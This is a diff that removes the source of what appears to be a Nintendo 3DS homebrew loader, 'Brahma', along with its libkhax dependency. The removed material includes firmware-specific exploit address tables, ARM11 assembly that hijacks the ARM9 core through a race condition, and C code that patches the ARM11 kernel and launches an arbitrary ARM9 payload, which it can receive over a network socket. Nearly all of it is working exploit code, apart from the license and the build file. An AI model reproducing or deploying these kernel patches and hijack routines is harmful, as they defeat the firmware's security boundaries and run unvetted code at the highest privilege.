0xEFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF64AAC,
|
|
||||||
0xFFFD0000,
|
|
||||||
0xFFFD2000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x02270400,
|
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
|
||||||
0xEFFE5B34,
|
|
||||||
0xEFFF4978,
|
|
||||||
0xFFF76B3C,
|
|
||||||
0xF0000000,
|
|
||||||
0xEFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF64AB0,
|
|
||||||
0xFFFD0000,
|
|
||||||
0xFFFD2000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x02250000,
|
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
|
||||||
0xEFFE5AE8,
|
|
||||||
0xEFFF4978,
|
|
||||||
0xFFF76AF0,
|
|
||||||
0xF0000000,
|
|
||||||
0xEFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF64A78,
|
|
||||||
0xFFFD0000,
|
|
||||||
0xFFFD2000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x02260000,
|
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
|
||||||
0xEFFE5AE8,
|
|
||||||
0xEFFF4978,
|
|
||||||
0xFFF76AF0,
|
|
||||||
0xF0000000,
|
|
||||||
0xEFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF64A78,
|
|
||||||
0xFFFD0000,
|
|
||||||
0xFFFD2000
|
|
||||||
},
|
|
||||||
{
|
|
||||||
0x02240000,
|
|
||||||
SYS_MODEL_OLD_3DS | SYS_MODEL_NEW_3DS,
|
|
||||||
0xEFFE55B8,
|
|
||||||
0xEFFF4978,
|
|
||||||
0xFFF765C0,
|
|
||||||
0xF0000000,
|
|
||||||
0xEFFF4000,
|
|
||||||
0xFFFF0000,
|
|
||||||
0xFFF64B90,
|
|
||||||
0xFFFD0000,
|
|
||||||
0xFFFD2000
|
|
||||||
}
|
|
||||||
};
|
|
@ -1,4 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
u32 wait_key (void);
|
|
||||||
void wait_any_key (void);
|
|
@ -1,8 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
void InvalidateEntireInstructionCache (void);
|
|
||||||
void CleanEntireDataCache (void);
|
|
||||||
void dsb(void);
|
|
||||||
void DisableInterrupts (void);
|
|
||||||
void EnableInterrupts (void);
|
|
||||||
void InvalidateEntireDataCache (void);
|
|
@ -1,173 +0,0 @@
|
|||||||
.arm
|
|
||||||
.align 4
|
|
||||||
.code 32
|
|
||||||
.text
|
|
||||||
|
|
||||||
.global arm11_start
|
|
||||||
arm11_start:
|
|
||||||
B hook1
|
|
||||||
B hook2
|
|
||||||
|
|
||||||
hook1:
|
|
||||||
STMFD SP!, {R0-R12,LR}
|
|
||||||
|
|
||||||
MOV R0, #64
|
|
||||||
BL delay
|
|
||||||
|
|
||||||
MOV R0, #0
|
|
||||||
BL pxi_send
|
|
||||||
|
|
||||||
BL pxi_sync
|
|
||||||
|
|
||||||
MOV R0, #0x10000
|
|
||||||
BL pxi_send
|
|
||||||
|
|
||||||
BL pxi_recv
|
|
||||||
BL pxi_recv
|
|
||||||
BL pxi_recv
|
|
||||||
|
|
||||||
MOV R0, #2
|
|
||||||
BL pdn_send
|
|
||||||
|
|
||||||
MOV R0, #0
|
|
||||||
BL pdn_send
|
|
||||||
|
|
||||||
LDMFD SP!, {R0-R12,LR}
|
|
||||||
|
|
||||||
LDR R0, var_44836
|
|
||||||
STR R0, [R1]
|
|
||||||
LDR PC, va_hook1_ret
|
|
||||||
|
|
||||||
var_44836: .long 0x44836
|
|
||||||
|
|
||||||
@ copy hijack_arm9 routine and execute
|
|
||||||
hook2:
|
|
||||||
ADR R0, hijack_arm9
|
|
||||||
ADR R1, hijack_arm9_end
|
|
||||||
LDR R2, pa_hijack_arm9_dst
|
|
||||||
MOV R4, R2
|
|
||||||
BL copy_mem
|
|
||||||
MOV r0, #0
|
|
||||||
MCR p15, 0, r0, c7, c10, 0 @ Clean data cache
|
|
||||||
MCR p15, 0, r0, c7, c10, 4 @ Drain write buffer
|
|
||||||
MCR p15, 0, r0, c7, c5, 0 @ Flush instruction cache
|
|
||||||
BX R4
|
|
||||||
|
|
||||||
@ exploits a race condition in order
|
|
||||||
@ to take control over the arm9 core
|
|
||||||
hijack_arm9:
|
|
||||||
@ init
|
|
||||||
LDR R0, pa_arm11_code
|
|
||||||
MOV R1, #0
|
|
||||||
STR R1, [R0]
|
|
||||||
|
|
||||||
@ load physical addresses
|
|
||||||
LDR R10, pa_firm_header
|
|
||||||
LDR R9, pa_arm9_payload
|
|
||||||
LDR R8, pa_io_mem
|
|
||||||
|
|
||||||
@ send pxi cmd 0x44846
|
|
||||||
LDR R1, pa_pxi_regs
|
|
||||||
LDR R2, some_pxi_cmd
|
|
||||||
STR R2, [R1, #8]
|
|
||||||
|
|
||||||
wait_arm9_loop:
|
|
||||||
LDRB R0, [R8]
|
|
||||||
ANDS R0, R0, #1
|
|
||||||
BNE wait_arm9_loop
|
|
||||||
|
|
||||||
@ overwrite orig entry point with FCRAM addr
|
|
||||||
@ this exploits the race condition bug
|
|
||||||
STR R9, [R10, #0x0C]
|
|
||||||
|
|
||||||
LDR R0, pa_arm11_code
|
|
||||||
wait_arm11_loop:
|
|
||||||
LDR R1, [r0]
|
|
||||||
CMP R1, #0
|
|
||||||
BEQ wait_arm11_loop
|
|
||||||
BX R1
|
|
||||||
|
|
||||||
pa_hijack_arm9_dst: .long 0x1FFFFC00
|
|
||||||
pa_arm11_code: .long 0x1FFFFFF8
|
|
||||||
pa_pxi_regs: .long 0x10163000
|
|
||||||
some_pxi_cmd: .long 0x44846
|
|
||||||
pa_firm_header: .long 0x24000000
|
|
||||||
pa_arm9_payload: .long 0x23F00000
|
|
||||||
pa_io_mem: .long 0x10140000
|
|
||||||
hijack_arm9_end:
|
|
||||||
|
|
||||||
copy_mem:
|
|
||||||
SUB R3, R1, R0
|
|
||||||
MOV R1, R3,ASR#2
|
|
||||||
CMP R1, #0
|
|
||||||
BLE locret_FFFF0AC0
|
|
||||||
MOVS R1, R3,LSL#29
|
|
||||||
SUB R0, R0, #4
|
|
||||||
SUB R1, R2, #4
|
|
||||||
BPL loc_FFFF0AA0
|
|
||||||
LDR R2, [R0,#4]!
|
|
||||||
STR R2, [R1,#4]!
|
|
||||||
loc_FFFF0AA0:
|
|
||||||
MOVS R2, R3,ASR#3
|
|
||||||
BEQ locret_FFFF0AC0
|
|
||||||
loc_FFFF0AA8:
|
|
||||||
LDR R3, [R0,#4]
|
|
||||||
SUBS R2, R2, #1
|
|
||||||
STR R3, [R1,#4]
|
|
||||||
LDR R3, [R0,#8]!
|
|
||||||
STR R3, [R1,#8]!
|
|
||||||
BNE loc_FFFF0AA8
|
|
||||||
locret_FFFF0AC0:
|
|
||||||
BX LR
|
|
||||||
|
|
||||||
pdn_send:
|
|
||||||
LDR R1, va_pdn_regs
|
|
||||||
STRB R0, [R1, #0x230]
|
|
||||||
BX LR
|
|
||||||
|
|
||||||
pxi_send:
|
|
||||||
LDR R1, va_pxi_regs
|
|
||||||
loc_1020D0:
|
|
||||||
LDRH R2, [R1,#4]
|
|
||||||
TST R2, #2
|
|
||||||
BNE loc_1020D0
|
|
||||||
STR R0, [R1,#8]
|
|
||||||
|
|
||||||
MOV R0, #4
|
|
||||||
delay:
|
|
||||||
MOV R1, #0
|
|
||||||
MCR p15, 0, r1, c7, c10, 0
|
|
||||||
MCR p15, 0, r1, c7, c10, 4
|
|
||||||
loop:
|
|
||||||
SUBS R0, #1
|
|
||||||
BGT loop
|
|
||||||
BX LR
|
|
||||||
|
|
||||||
pxi_recv:
|
|
||||||
LDR R0, va_pxi_regs
|
|
||||||
loc_1020FC:
|
|
||||||
LDRH R1, [R0,#4]
|
|
||||||
TST R1, #0x100
|
|
||||||
BNE loc_1020FC
|
|
||||||
LDR R0, [R0,#0xC]
|
|
||||||
BX LR
|
|
||||||
|
|
||||||
pxi_sync:
|
|
||||||
LDR R0, va_pxi_regs
|
|
||||||
LDRB R1, [R0,#3]
|
|
||||||
ORR R1, R1, #0x40
|
|
||||||
STRB R1, [R0,#3]
|
|
||||||
BX LR
|
|
||||||
|
|
||||||
.global arm11_end
|
|
||||||
arm11_end:
|
|
||||||
|
|
||||||
.global arm11_globals_start
|
|
||||||
arm11_globals_start:
|
|
||||||
|
|
||||||
va_pdn_regs: .long 0
|
|
||||||
va_pxi_regs: .long 0
|
|
||||||
va_hook1_ret: .long 0
|
|
||||||
|
|
||||||
.global arm11_globals_end
|
|
||||||
arm11_globals_end:
|
|
@ -1,380 +0,0 @@
|
|||||||
#include <3ds.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <malloc.h>
|
|
||||||
#include <dirent.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sys/socket.h>
|
|
||||||
#include <sys/_default_fcntl.h>
|
|
||||||
#include <netinet/in.h>
|
|
||||||
#include <arpa/inet.h>
|
|
||||||
|
|
||||||
#include "brahma.h"
|
|
||||||
#include "exploitdata.h"
|
|
||||||
#include "utils.h"
|
|
||||||
#include "libkhax/khax.h"
|
|
||||||
|
|
||||||
static u8 *g_ext_arm9_buf;
|
|
||||||
static u32 g_ext_arm9_size = 0;
|
|
||||||
static s32 g_ext_arm9_loaded = 0;
|
|
||||||
static struct exploit_data g_expdata;
|
|
||||||
static struct arm11_shared_data g_arm11shared;
|
|
||||||
u32 frameBufferData[3];
|
|
||||||
|
|
||||||
/* should be the very first call. allocates heap buffer
|
|
||||||
for ARM9 payload */
|
|
||||||
u32 brahma_init (void) {
|
|
||||||
g_ext_arm9_buf = memalign(0x1000, ARM9_PAYLOAD_MAX_SIZE);
|
|
||||||
return (g_ext_arm9_buf != 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* call upon exit */
|
|
||||||
u32 brahma_exit (void) {
|
|
||||||
if (g_ext_arm9_buf) {
|
|
||||||
free(g_ext_arm9_buf);
|
|
||||||
}
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* overwrites two instructions (8 bytes in total) at src_addr
|
|
||||||
with code that redirects execution to dst_addr */
|
|
||||||
void redirect_codeflow (u32 *dst_addr, u32 *src_addr) {
|
|
||||||
*(src_addr + 1) = (u32)dst_addr;
|
|
||||||
*src_addr = ARM_JUMPOUT;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* fills exploit_data structure with information that is specific
|
|
||||||
to 3DS model and firmware version
|
|
||||||
returns: 0 on failure, 1 on success */
|
|
||||||
s32 get_exploit_data (struct exploit_data *data) {
|
|
||||||
u32 fversion = 0;
|
|
||||||
u8 isN3DS = 0;
|
|
||||||
u32 i;
|
|
||||||
s32 result = 0;
|
|
||||||
u32 sysmodel = SYS_MODEL_NONE;
|
|
||||||
|
|
||||||
if(!data)
|
|
||||||
return result;
|
|
||||||
|
|
||||||
fversion = osGetFirmVersion();
|
|
||||||
APT_CheckNew3DS(&isN3DS);
|
|
||||||
sysmodel = isN3DS ? SYS_MODEL_NEW_3DS : SYS_MODEL_OLD_3DS;
|
|
||||||
|
|
||||||
/* copy platform and firmware dependent data */
|
|
||||||
for(i = 0; i < sizeof(supported_systems) / sizeof(supported_systems[0]); i++) {
|
|
||||||
if (supported_systems[i].firm_version == fversion &&
|
|
||||||
supported_systems[i].sys_model & sysmodel) {
|
|
||||||
memcpy(data, &supported_systems[i], sizeof(struct exploit_data));
|
|
||||||
result = 1;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* get system dependent data and set up ARM11 structures */
|
|
||||||
s32 setup_exploit_data (void) {
|
|
||||||
s32 result = 0;
|
|
||||||
|
|
||||||
if (get_exploit_data(&g_expdata)) {
|
|
||||||
/* copy data required by code running in ARM11 svc mode */
|
|
||||||
g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret;
|
|
||||||
g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs;
|
|
||||||
g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs;
|
|
||||||
result = 1;
|
|
||||||
}
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* TODO: network code might be moved somewhere else */
|
|
||||||
s32 recv_arm9_payload (void) {
|
|
||||||
s32 sockfd;
|
|
||||||
struct sockaddr_in sa;
|
|
||||||
u32 kDown, old_kDown;
|
|
||||||
s32 clientfd;
|
|
||||||
struct sockaddr_in client_addr;
|
|
||||||
u32 addrlen = sizeof(client_addr);
|
|
||||||
s32 sflags = 0;
|
|
||||||
|
|
||||||
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
|
||||||
printf("[!] Error: socket()\n");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
bzero(&sa, sizeof(sa));
|
|
||||||
sa.sin_family = AF_INET;
|
|
||||||
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
|
|
||||||
sa.sin_addr.s_addr = gethostid();
|
|
||||||
|
|
||||||
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
|
||||||
printf("[!] Error: bind()\n");
|
|
||||||
close(sockfd);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (listen(sockfd, 1) != 0) {
|
|
||||||
printf("[!] Error: listen()\n");
|
|
||||||
close(sockfd);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[x] IP %s:%d\n", inet_ntoa(sa.sin_addr), BRAHMA_NETWORK_PORT);
|
|
||||||
|
|
||||||
g_ext_arm9_size = 0;
|
|
||||||
g_ext_arm9_loaded = 0;
|
|
||||||
|
|
||||||
sflags = fcntl(sockfd, F_GETFL);
|
|
||||||
if (sflags == -1) {
|
|
||||||
printf("[!] Error: fcntl() (1)\n");
|
|
||||||
close(sockfd);
|
|
||||||
}
|
|
||||||
fcntl(sockfd, F_SETFL, sflags | O_NONBLOCK);
|
|
||||||
|
|
||||||
hidScanInput();
|
|
||||||
old_kDown = hidKeysDown();
|
|
||||||
while (1) {
|
|
||||||
hidScanInput();
|
|
||||||
kDown = hidKeysDown();
|
|
||||||
if (kDown != old_kDown) {
|
|
||||||
printf("[!] Aborted\n");
|
|
||||||
close(sockfd);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen);
|
|
||||||
svcSleepThread(100000000);
|
|
||||||
if (clientfd > 0)
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[x] Connection from %s:%d\n\n", inet_ntoa(client_addr.sin_addr),
|
|
||||||
ntohs(client_addr.sin_port));
|
|
||||||
|
|
||||||
s32 recvd;
|
|
||||||
u32 total = 0;
|
|
||||||
s32 overflow = 0;
|
|
||||||
while ((recvd = recv(clientfd, g_ext_arm9_buf + total,
|
|
||||||
ARM9_PAYLOAD_MAX_SIZE - total, 0)) != 0) {
|
|
||||||
if (recvd != -1) {
|
|
||||||
total += recvd;
|
|
||||||
printf(".");
|
|
||||||
}
|
|
||||||
if (total >= ARM9_PAYLOAD_MAX_SIZE) {
|
|
||||||
overflow = 1;
|
|
||||||
printf("[!] Error: invalid payload size\n");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
|
|
||||||
|
|
||||||
printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total);
|
|
||||||
g_ext_arm9_size = overflow ? 0 : total;
|
|
||||||
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
|
|
||||||
|
|
||||||
close(clientfd);
|
|
||||||
close(sockfd);
|
|
||||||
|
|
||||||
return g_ext_arm9_loaded;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* reads ARM9 payload from a given path.
|
|
||||||
filename: full path of payload
|
|
||||||
offset: offset of the payload in the file
|
|
||||||
max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE)
|
|
||||||
returns: 0 on failure, 1 on success */
|
|
||||||
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) {
|
|
||||||
s32 result = 0;
|
|
||||||
u32 fsize = 0;
|
|
||||||
u32 psize = 0;
|
|
||||||
|
|
||||||
if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE)
|
|
||||||
max_psize = ARM9_PAYLOAD_MAX_SIZE;
|
|
||||||
|
|
||||||
if (!filename)
|
|
||||||
return result;
|
|
||||||
|
|
||||||
FILE *f = fopen(filename, "rb");
|
|
||||||
if (f) {
|
|
||||||
fseek(f , 0, SEEK_END);
|
|
||||||
fsize = ftell(f);
|
|
||||||
|
|
||||||
if (offset < fsize) {
|
|
||||||
psize = fsize - offset;
|
|
||||||
if (psize > max_psize)
|
|
||||||
psize = max_psize;
|
|
||||||
|
|
||||||
g_ext_arm9_size = psize;
|
|
||||||
|
|
||||||
fseek(f, offset, SEEK_SET);
|
|
||||||
if (psize >= 8) {
|
|
||||||
u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f);
|
|
||||||
result = (g_ext_arm9_loaded = (bytes_read == psize));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fclose(f);
|
|
||||||
}
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* reads ARM9 payload from memory.
|
|
||||||
data: array of u8 containing the payload
|
|
||||||
dsize: size of the data array
|
|
||||||
returns: 0 on failure, 1 on success */
|
|
||||||
s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
|
|
||||||
s32 result = 0;
|
|
||||||
|
|
||||||
if ((data != NULL) && (dsize >= 8) && (dsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
|
||||||
g_ext_arm9_size = dsize;
|
|
||||||
memcpy(g_ext_arm9_buf, data, dsize);
|
|
||||||
result = g_ext_arm9_loaded = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* copies ARM9 payload to FCRAM
|
|
||||||
- before overwriting it in memory, Brahma creates a backup copy of
|
|
||||||
the mapped firm binary's ARM9 entry point. The copy will be stored
|
|
||||||
into offset 4 of the ARM9 payload during run-time.
|
|
||||||
This allows the ARM9 payload to resume booting the Nintendo firmware
|
|
||||||
code.
|
|
||||||
Thus, the format of ARM9 payload written for Brahma is the following:
|
|
||||||
- a branch instruction at offset 0 and
|
|
||||||
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
|
|
||||||
s32 map_arm9_payload (void) {
|
|
||||||
void *src;
|
|
||||||
volatile void *dst;
|
|
||||||
|
|
||||||
u32 size = 0;
|
|
||||||
s32 result = 0;
|
|
||||||
|
|
||||||
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
|
|
||||||
|
|
||||||
if (!g_ext_arm9_loaded) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
// external ARM9 payload
|
|
||||||
src = g_ext_arm9_buf;
|
|
||||||
size = g_ext_arm9_size;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (size <= ARM9_PAYLOAD_MAX_SIZE) {
|
|
||||||
memcpy((void *)dst, src, size);
|
|
||||||
result = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
s32 map_arm11_payload (void) {
|
|
||||||
void *src;
|
|
||||||
volatile void *dst;
|
|
||||||
u32 size = 0;
|
|
||||||
u32 offs;
|
|
||||||
s32 result_a = 0;
|
|
||||||
s32 result_b = 0;
|
|
||||||
|
|
||||||
src = &arm11_start;
|
|
||||||
dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED);
|
|
||||||
size = (u8 *)&arm11_end - (u8 *)&arm11_start;
|
|
||||||
|
|
||||||
// TODO: sanitize 'size'
|
|
||||||
if (size) {
|
|
||||||
memcpy((void *)dst, src, size);
|
|
||||||
result_a = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
offs = size;
|
|
||||||
src = &g_arm11shared;
|
|
||||||
size = sizeof(g_arm11shared);
|
|
||||||
|
|
||||||
dst = (u8 *)(g_expdata.va_exc_handler_base_W +
|
|
||||||
OFFS_EXC_HANDLER_UNUSED + offs);
|
|
||||||
|
|
||||||
// TODO sanitize 'size'
|
|
||||||
if (result_a && size) {
|
|
||||||
memcpy((void *)dst, src, size);
|
|
||||||
result_b = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
return result_a && result_b;
|
|
||||||
}
|
|
||||||
|
|
||||||
void exploit_arm9_race_condition (void) {
|
|
||||||
|
|
||||||
s32 (* const _KernelSetState)(u32, u32, u32, u32) =
|
|
||||||
(void *)g_expdata.va_kernelsetstate;
|
|
||||||
|
|
||||||
asm volatile ("clrex");
|
|
||||||
|
|
||||||
/* copy ARM11 payload and console specific data */
|
|
||||||
if (map_arm11_payload() &&
|
|
||||||
/* copy ARM9 payload to FCRAM */
|
|
||||||
map_arm9_payload()) {
|
|
||||||
|
|
||||||
/* patch ARM11 kernel to force it to execute
|
|
||||||
our code (hook1 and hook2) as soon as a
|
|
||||||
"firmlaunch" is triggered */
|
|
||||||
redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X +
|
|
||||||
OFFS_EXC_HANDLER_UNUSED),
|
|
||||||
(u32 *)g_expdata.va_patch_hook1);
|
|
||||||
|
|
||||||
redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE +
|
|
||||||
OFFS_EXC_HANDLER_UNUSED + 4),
|
|
||||||
(u32 *)g_expdata.va_patch_hook2);
|
|
||||||
|
|
||||||
CleanEntireDataCache();
|
|
||||||
dsb();
|
|
||||||
InvalidateEntireInstructionCache();
|
|
||||||
|
|
||||||
// trigger ARM9 code execution through "firmlaunch"
|
|
||||||
_KernelSetState(0, 0, 2, 0);
|
|
||||||
// prev call shouldn't ever return
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* restore svcCreateThread code (not really required,
|
|
||||||
but just to be on the safe side) */
|
|
||||||
s32 priv_firm_reboot (void) {
|
|
||||||
__asm__ volatile ("cpsid aif");
|
|
||||||
|
|
||||||
// Save the framebuffers for arm9,
|
|
||||||
u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00);
|
|
||||||
memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData));
|
|
||||||
|
|
||||||
exploit_arm9_race_condition();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* perform firmlaunch. load ARM9 payload before calling this
|
|
||||||
function. otherwise, calling this function simply reboots
|
|
||||||
the handheld */
|
|
||||||
s32 firm_reboot (void) {
|
|
||||||
s32 fail_stage = 0;
|
|
||||||
|
|
||||||
// Make sure gfx is initialized
|
|
||||||
gfxInitDefault();
|
|
||||||
|
|
||||||
// Save the framebuffers for arm11.
|
|
||||||
frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000;
|
|
||||||
frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000;
|
|
||||||
frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000;
|
|
||||||
gfxSwapBuffers();
|
|
||||||
|
|
||||||
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
|
|
||||||
if (setup_exploit_data()) {
|
|
||||||
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
|
|
||||||
if (khaxInit() == 0) {
|
|
||||||
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
|
|
||||||
svcBackdoor(priv_firm_reboot);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* we do not intend to return ... */
|
|
||||||
return fail_stage;
|
|
||||||
}
|
|
@ -1,27 +0,0 @@
|
|||||||
#include <3ds.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
/* loop until key is pressed */
|
|
||||||
void wait_key (void) {
|
|
||||||
hidScanInput();
|
|
||||||
u32 old_kDown, kDown;
|
|
||||||
old_kDown = hidKeysDown();
|
|
||||||
|
|
||||||
while (aptMainLoop()) {
|
|
||||||
gspWaitForVBlank();
|
|
||||||
|
|
||||||
hidScanInput();
|
|
||||||
kDown = hidKeysDown();
|
|
||||||
if (kDown != old_kDown)
|
|
||||||
break;
|
|
||||||
|
|
||||||
gfxFlushBuffers();
|
|
||||||
gfxSwapBuffers();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* convenience function */
|
|
||||||
void wait_any_key (void) {
|
|
||||||
printf("\n\nPress key to continue\n");
|
|
||||||
wait_key();
|
|
||||||
}
|
|
@ -1,22 +0,0 @@
|
|||||||
The MIT License (MIT)
|
|
||||||
|
|
||||||
Copyright (c) 2015 Myriachan
|
|
||||||
|
|
||||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
of this software and associated documentation files (the "Software"), to deal
|
|
||||||
in the Software without restriction, including without limitation the rights
|
|
||||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
copies of the Software, and to permit persons to whom the Software is
|
|
||||||
furnished to do so, subject to the following conditions:
|
|
||||||
|
|
||||||
The above copyright notice and this permission notice shall be included in all
|
|
||||||
copies or substantial portions of the Software.
|
|
||||||
|
|
||||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
||||||
SOFTWARE.
|
|
||||||
|
|
@ -1,177 +0,0 @@
|
|||||||
#---------------------------------------------------------------------------------
|
|
||||||
.SUFFIXES:
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
|
|
||||||
ifeq ($(strip $(DEVKITARM)),)
|
|
||||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
|
||||||
endif
|
|
||||||
|
|
||||||
TOPDIR ?= $(CURDIR)
|
|
||||||
include $(DEVKITARM)/3ds_rules
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# TARGET is the name of the output
|
|
||||||
# BUILD is the directory where object files & intermediate files will be placed
|
|
||||||
# SOURCES is a list of directories containing source code
|
|
||||||
# DATA is a list of directories containing data files
|
|
||||||
# INCLUDES is a list of directories containing header files
|
|
||||||
#
|
|
||||||
# NO_SMDH: if set to anything, no SMDH file is generated.
|
|
||||||
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
|
|
||||||
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
|
|
||||||
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
|
|
||||||
# ICON is the filename of the icon (.png), relative to the project folder.
|
|
||||||
# If not set, it attempts to use one of the following (in this order):
|
|
||||||
# - <Project name>.png
|
|
||||||
# - icon.png
|
|
||||||
# - <libctru folder>/default_icon.png
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
TARGET := $(notdir $(CURDIR))
|
|
||||||
BUILD := build
|
|
||||||
SOURCES := . ../
|
|
||||||
DATA := data
|
|
||||||
INCLUDES := include
|
|
||||||
APP_TITLE := khax
|
|
||||||
APP_DESCRIPTION := ARM11 KernelHax
|
|
||||||
APP_AUTHOR := Myria
|
|
||||||
ICON := logo.png
|
|
||||||
NO_SMDH := 1
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# options for code generation
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
|
||||||
|
|
||||||
CFLAGS := -g -Wall -O3 -mword-relocations \
|
|
||||||
-fomit-frame-pointer -ffast-math \
|
|
||||||
$(ARCH)
|
|
||||||
|
|
||||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG
|
|
||||||
|
|
||||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
|
||||||
|
|
||||||
ASFLAGS := -g $(ARCH)
|
|
||||||
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
|
||||||
|
|
||||||
LIBS := -lctru -lm
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# list of directories containing libraries, this must be the top level containing
|
|
||||||
# include and lib
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
LIBDIRS := $(CTRULIB)
|
|
||||||
|
|
||||||
|
|
||||||
#---------------------------------------------------------------------------------
|
|
||||||
# no real need to edit anything past this point unless you need to add additional
|
|
||||||
